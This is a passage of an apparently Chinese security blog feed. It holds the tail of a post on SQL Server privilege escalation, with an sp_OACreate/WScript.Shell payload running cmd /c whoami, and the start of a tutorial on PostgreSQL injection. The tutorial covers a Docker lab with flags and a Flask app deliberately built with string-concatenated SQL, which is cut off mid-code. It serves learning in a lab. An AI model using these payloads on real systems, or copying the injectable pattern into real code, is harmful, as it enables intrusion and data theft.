EXEC sp_OADestroy @shell;</span></span>\n<span class=\"line\"><span>    RETURN;</span></span>\n<span class=\"line\"><span>END;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 读取命令的标准输出，保存到@output，StdOut.ReadAll可以理解为读取命令执行后的全部标准输出内容</span></span>\n<span class=\"line\"><span>EXEC @hr = sp_OAMethod @exec, 'StdOut.ReadAll', @output OUT;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 输出结果</span></span>\n<span class=\"line\"><span>SELECT @output AS command_output;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 释放OLE对象，清理资源</span></span>\n<span class=\"line\"><span>EXEC sp_OADestroy @exec;</span></span>\n<span class=\"line\"><span>EXEC sp_OADestroy @shell;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/27.png\" class=\"\"></p>\n<p>这一串payload实现了<code>sp_OACreate</code>创建<code>WScript.Shell</code>，<code>SP_OAMethod</code>调用EXEC方法然后执行<code>cmd /c whoami</code>，读取<code>StdOut.ReadAll</code>，最后<code>select</code>输出结果</p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/",
            "url": "https://zlaryy.top/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/",
            "title": "其他系统库类型下的SQL注入",
            "date_published": "2026-05-29T15:10:00.000Z",
            "content_html": "<h1 id=\"其他系统库类型下的sql注入\"><a class=\"anchor\" href=\"#其他系统库类型下的sql注入\">#</a> 其他系统库类型下的SQL注入</h1>\n<p>尝试过直接去看别人总结的相关的其他数据库的SQL注入方式，但是感觉很难理解，所以我打算先从学习其他类型数据库的结构逐渐深入</p>\n<h1 id=\"数据库结构\"><a class=\"anchor\" href=\"#数据库结构\">#</a> 数据库结构</h1>\n<p>大多数数据库结构都与MySQL相差不大：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>MySQL 实例 Instance</span></span>\n<span class=\"line\"><span>  └── Database / Schema</span></span>\n<span class=\"line\"><span>        └── Table</span></span>\n<span class=\"line\"><span>              ├── Column</span></span>\n<span class=\"line\"><span>              ├── Row</span></span>\n<span class=\"line\"><span>              ├── Index</span></span>\n<span class=\"line\"><span>              ├── View</span></span>\n<span class=\"line\"><span>              ├── Trigger</span></span>\n<span class=\"line\"><span>              └── Procedure / Function</span></span></code></pre>\n<p>在MySQL中，database和schema基本可以看成同一个概念</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-sql\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">CREATE</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> DATABASE</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> shop_db</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">CREATE</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> SCHEMA</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> shop_db</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">;</span></span></code></pre>\n<p>这两个在MySQL中差不多是同义用法</p>\n<p>不过既然这样设计那为什么还需要schema呢？</p>\n<p>schema的核心作用其实就三个词：命名空间隔离、权限控制和逻辑分组，没有schema的架构看起来可以通过下图来表示：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>MySQL 实例 (Instance)</span></span>\n<span class=\"line\"><span>  └──企业数据库 (ERP_Database)</span></span>\n<span class=\"line\"><span>        ├──Table: hr_users       (人事部用户表 - 靠前缀区分)</span></span>\n<span class=\"line\"><span>        ├──Table: finance_users  (财务部用户表 - 靠前缀区分)</span></span>\n<span class=\"line\"><span>        ├──Table: hr_payroll     (人事薪资表)</span></span>\n<span class=\"line\"><span>        ├──Table: finance_ledger (财务账本表)</span></span>\n<span class=\"line\"><span>        └──Table: sales_orders   (销售订单表)</span></span></code></pre>\n<p>如果所有的表都直接堆在database下面，当系统变大时就会出现命名冲突，比如人事和财务都需要一个叫users的表，只能被迫在表名前面加上前缀，导致结构非常扁平拥挤</p>\n<p>有schema的话，不同的schema下就可以有同名的表，他们互不干扰，同时可以对某个schema进行一键授权，而不需要逐个表去配置</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>数据库实例 (Instance)</span></span>\n<span class=\"line\"><span>  └──企业数据库 (ERP_Database)</span></span>\n<span class=\"line\"><span>        │</span></span>\n<span class=\"line\"><span>        ├──Schema: HR (人事专区 - 可打包分配给人事系统权限)</span></span>\n<span class=\"line\"><span>        │     ├──Table: users   (同名互不干扰)</span></span>\n<span class=\"line\"><span>        │     ├──Table: payroll</span></span>\n<span class=\"line\"><span>        │     └──Procedure: calculate_leave() </span></span>\n<span class=\"line\"><span>        │</span></span>\n<span class=\"line\"><span>        ├──Schema: Finance (财务专区 - 极度敏感，独立授权)</span></span>\n<span class=\"line\"><span>        │     ├──Table: users   (同名互不干扰)</span></span>\n<span class=\"line\"><span>        │     ├──Table: ledger</span></span>\n<span class=\"line\"><span>        │     └──View: monthly_report</span></span>\n<span class=\"line\"><span>        │</span></span>\n<span class=\"line\"><span>        └──Schema: Sales (销售专区)</span></span>\n<span class=\"line\"><span>              ├──Table: orders</span></span>\n<span class=\"line\"><span>              └──Table: customers</span></span></code></pre>\n<h1 id=\"mysql\"><a class=\"anchor\" href=\"#mysql\">#</a> MySQL</h1>\n<p>MySQL的查询路径大致是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>客户端连接 MySQL</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>连接器 / 权限验证</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>SQL Parser</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>预处理器，检查表名、字段名</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>优化器，选择索引和执行计划</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>执行器</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>存储引擎，例如 InnoDB</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Buffer Pool / 磁盘文件</span></span></code></pre>\n<p>MySQL中比较重要的结构</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>MySQL Server</span></span>\n<span class=\"line\"><span>├── 连接层</span></span>\n<span class=\"line\"><span>├── SQL 层</span></span>\n<span class=\"line\"><span>│   ├── Parser</span></span>\n<span class=\"line\"><span>│   ├── Optimizer</span></span>\n<span class=\"line\"><span>│   ├── Executor</span></span>\n<span class=\"line\"><span>│   └── 权限系统</span></span>\n<span class=\"line\"><span>└── 存储引擎层</span></span>\n<span class=\"line\"><span>    ├── InnoDB</span></span>\n<span class=\"line\"><span>    ├── MyISAM</span></span>\n<span class=\"line\"><span>    └── Memory</span></span></code></pre>\n<p>MySQL中常见的元数据位置：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>information_schema</span></span>\n<span class=\"line\"><span># 保存数据库、表、字段等结构信息</span></span>\n<span class=\"line\"><span>mysql</span></span>\n<span class=\"line\"><span># 保存用户、权限等系统信息</span></span>\n<span class=\"line\"><span>performance_schema</span></span>\n<span class=\"line\"><span># 性能监控信息</span></span>\n<span class=\"line\"><span>sys</span></span>\n<span class=\"line\"><span># 性能视图封装</span></span></code></pre>\n<p>什么是元数据？</p>\n<p>通俗地说元数据就是关于数据的数据，业务数据指的是数据库里面存放的具体内容（包括用户的账号密码等信息），元数据记录了这个数据库有几个库名、表名、字段名和数据类型</p>\n<p>在元数据<code>information_schema</code>中有三个表：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SCHEMA表：记录了当前MySQL实例下的所有数据库名字（字段名：schema_name）</span></span>\n<span class=\"line\"><span>TABLES表：记录了所有数据库里面的所有表名（字段名：table_name，以及它所属的库名：table_schema）</span></span>\n<span class=\"line\"><span>COLUMNS表：记录了所有表里面的所有字段名（字段名：column_name，以及它所属的表名：column_schema）</span></span></code></pre>\n<p>MySQL的注入手法其实在之前的文章中已经解释的很清楚了，接下来把重点看到其他类型的数据库吧</p>\n<h1 id=\"postgresql\"><a class=\"anchor\" href=\"#postgresql\">#</a> PostgreSQL</h1>\n<h2 id=\"数据库架构以及核心字段名\"><a class=\"anchor\" href=\"#数据库架构以及核心字段名\">#</a> 数据库架构以及核心字段名</h2>\n<p>PostgreSQL数据库的架构与MySQL最大的区别之一是：PostgreSQL更强调schema，其层级为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>PostgreSQL Cluster</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Database</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Schema</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Table / View / Function / Sequence</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Column / Row</span></span></code></pre>\n<p>比如：<code>company.public.users.username</code>表示的是<code>company数据库-&gt;public schema-&gt;users表-&gt;username字段</code></p>\n<p>PostgreSQL的查询路径大致为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>客户端连接 PostgreSQL</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Postmaster / Backend Process</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>认证与权限检查</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Parser</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Analyzer</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Rewriter</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Planner / Optimizer</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Executor</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Buffer Manager</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Storage / WAL / Data Files</span></span></code></pre>\n<p>PostgreSQL的结构大致可以看做：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>PostgreSQL Cluster</span></span>\n<span class=\"line\"><span>├── Database 1</span></span>\n<span class=\"line\"><span>│   ├── Schema public</span></span>\n<span class=\"line\"><span>│   ├── Schema admin</span></span>\n<span class=\"line\"><span>│   └── Schema test</span></span>\n<span class=\"line\"><span>├── Database 2</span></span>\n<span class=\"line\"><span>└── 系统目录 pg_catalog</span></span></code></pre>\n<p>里面一些比较重要的系统结构：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>pg_catalog</span></span>\n<span class=\"line\"><span># 原生系统目录</span></span>\n<span class=\"line\"><span>information_schema</span></span>\n<span class=\"line\"><span># 标准SQL元数据视图</span></span>\n<span class=\"line\"><span>pg_database</span></span>\n<span class=\"line\"><span># 数据库信息</span></span>\n<span class=\"line\"><span>pg_class</span></span>\n<span class=\"line\"><span># 表、索引、视图等对象信息</span></span>\n<span class=\"line\"><span>pg_attribute</span></span>\n<span class=\"line\"><span># 字段信息</span></span>\n<span class=\"line\"><span>pg_roles</span></span>\n<span class=\"line\"><span># 角色信息</span></span>\n<span class=\"line\"><span>pg_namespace</span></span>\n<span class=\"line\"><span># 信息</span></span></code></pre>\n<p><code>pg_catalog</code>是PostgreSQL数据库独有的最核心的系统schema（模式），在数据库里创建的所有表、列、视图、索引、函数、数据类型，其元数据全部存储在这里面，相较于<code>information_schema</code>来说，直接查<code>pg_catalog</code>速度快，且能获得更多非标准的底层信息，上述下面的<code>pg_</code>开头的所有表全部位于<code>pg_catalog</code>模式下</p>\n<p>PostgreSQL的系统表有一个极其重要的概念：<strong>集群级（全局）<strong>和</strong>数据库级（局部）</strong></p>\n<p><strong>集群级</strong></p>\n<p><strong><code>pg_database</code></strong>（数据库列表）：里面存储了当前PostgreSQL实例（集群<code>cluster</code>）下所有的数据库名称、拥有者、字符集编码等，类似于MySQL里面的<code>SCHEMATA</code>，核心字段：<code>datname</code></p>\n<p>通常第一步是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT datname FROM pg_database;</span></span>\n<span class=\"line\"><span># 查看有哪些库</span></span></code></pre>\n<p><strong><code>pg_roles</code></strong>（角色/用户权限）：存储了数据库里面的所有用户账号、密码（散列值，但在高版本被移到了隐藏的<code>pg_authid</code>中）、以及他们是否具有超级用户（<code>superuser</code>）、建库、登录权限，核心字段：<code>rolname</code>（用户名）、<code>rolsuper</code>（是否是超级用户）。攻击成功之后如果查询到当前注入点的用户是超级用户（<code>rolname = 't'</code>），那就可以直接尝试命令执行</p>\n<p><strong>数据库级</strong></p>\n<p><strong><code>pg_namespace</code></strong>（模式列表）：里面存储了当前数据库里面的所有schema名称，核心字段：<code>nspname</code>（模式名）、<code>oid</code>（该模式的唯一编号）。Schema（模式）本质上就是隔离命名的空间，默认创建的表都在<code>public</code>这个namespace里面</p>\n<p><strong><code>pg_class</code></strong>（关系列表）：里面存储了当前数据库里面的所有表、视图、索引、序列号，由于早期Postgres，为对象关系型数据库，当时把一张表称为一个类，核心字段：<code>relname</code>（表名/视图名）、<code>relnamespace</code>（所属模式OID）、<code>oid</code>（该表的唯一编号）</p>\n<p><strong><code>pg_attribute</code></strong>（属性/列列表）：里面存储了所有表里面的所有字段（列）信息，在关系列表中，表的一列被称为属性，核心字段：<code>attname</code>（字段名）、<code>attrelid</code>（所属表的oid）、<code>attnum</code>（字段在表里的顺序）。等同于MySQL里的<code>COLUMNS</code></p>\n<h2 id=\"本地搭建靶场测试\"><a class=\"anchor\" href=\"#本地搭建靶场测试\">#</a> 本地搭建靶场测试</h2>\n<p>可通过下列命令搭建测试靶场，这里用的是kali linux</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker run --name pg-vuln-lab -e POSTGRES_PASSWORD=root -p 5432:5432 -d postgres:14</span></span>\n<span class=\"line\"><span># 启动一个名为pg-vuln-lab的容器，设置超级用户密码为root，映射本地5432端口</span></span>\n<span class=\"line\"><span>docker exec -it pg-vuln-lab psql -U postgres</span></span>\n<span class=\"line\"><span># 进入容器的命令行交互界面</span></span></code></pre>\n<p>进入psql终端之后，依次执行下列SQL语句搭建数据库：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>CREATE DATABASE postgre_lab;</span></span>\n<span class=\"line\"><span>\\c postgre_lab;</span></span>\n<span class=\"line\"><span># 创建一个post_lab数据库并切换进去</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>CREATE SCHEMA FLAG;</span></span>\n<span class=\"line\"><span># 创建一个FLAG模式(Schema)</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>CREATE TABLE public.users (</span></span>\n<span class=\"line\"><span>    id SERIAL PRIMARY KEY,</span></span>\n<span class=\"line\"><span>    username VARCHAR(50),</span></span>\n<span class=\"line\"><span>    password VARCHAR(50)</span></span>\n<span class=\"line\"><span>);</span></span>\n<span class=\"line\"><span># 在默认的public模式下创建普通用户表</span></span>\n<span class=\"line\"><span># id为第一列的名字，SERIAL是postgreSQL特有且极其常用的数据类型，代表“自增序列”，在插入数据时不需要手动输入ID，数据库会自动按1、2、3、4的顺序给新数据编号（等同于MySQL中的AUTO_INCREMENT）</span></span>\n<span class=\"line\"><span># PRIMARY KEY：主键，它宣告id为这一行数据的唯一标识，不能重复也不能为空，数据库底会为他自动建立索引以加快查询速度</span></span>\n<span class=\"line\"><span># username和password均为接下来两列的名字</span></span>\n<span class=\"line\"><span># VARCHAR(50)：数据类型，VARCHAR代表可变长度的字符（Vairable Character），50代表这个用户名最长不能超过50个字符</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>CREATE TABLE FLAG.flag(</span></span>\n<span class=\"line\"><span>    id SERIAL PRIMARY KEY,</span></span>\n<span class=\"line\"><span>    flag2 VARCHAR(100)</span></span>\n<span class=\"line\"><span>);</span></span>\n<span class=\"line\"><span># 在FLAG模式下创建名为flag的表和flag2的列</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>INSERT INTO public.users (username, password) VALUES ('admin', 'adminnnnn'), ('guest', '123456'),('flag1','ZLARYY&#123;h0w_h@rd_P05tgr3_SQL!_r3a1ly???&#125;');</span></span>\n<span class=\"line\"><span>INSERT INTO FLAG.flag (flag2) VALUES ('ZLARYY&#123;W0vv_Y0u_@r3_r3al1y_P0stgr3_SQL_ma5t3r!!!&#125;');</span></span>\n<span class=\"line\"><span># 插入测试数据</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/1.png\" class=\"\"></p>\n<p>接下来需要编写一个带有漏洞的web后端，首先创建一个名为<code>pg_lab</code>的文件夹，里面放上<code>app.py</code>，在该目录下打开终端执行一步安装操作：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 -m pip install flask psycopg2-binary</span></span></code></pre>\n<p>然后将下列内容粘贴到app.py里面：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> psycopg2</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 连接到我们刚才用 Docker 启动的 PostgreSQL 靶场</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get_db_connection</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> psycopg2</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">connect</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">        host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">localhost</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">        database</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">postgre_lab</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">        user</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">postgres</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">        password</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">root</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">        port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">5432</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get_user</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # ⚠️ 经典的漏洞点：直接获取用户输入，不做任何过滤</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    user_id </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">id</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> user_id</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Please provide an id, e.g., ?id=1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> get_db_connection</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cursor</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # ⚠️ 致命错误：使用 f-string 强制拼接 SQL 语句，造成注入</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    query </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"SELECT username FROM public.users WHERE id = </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">user_id</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span 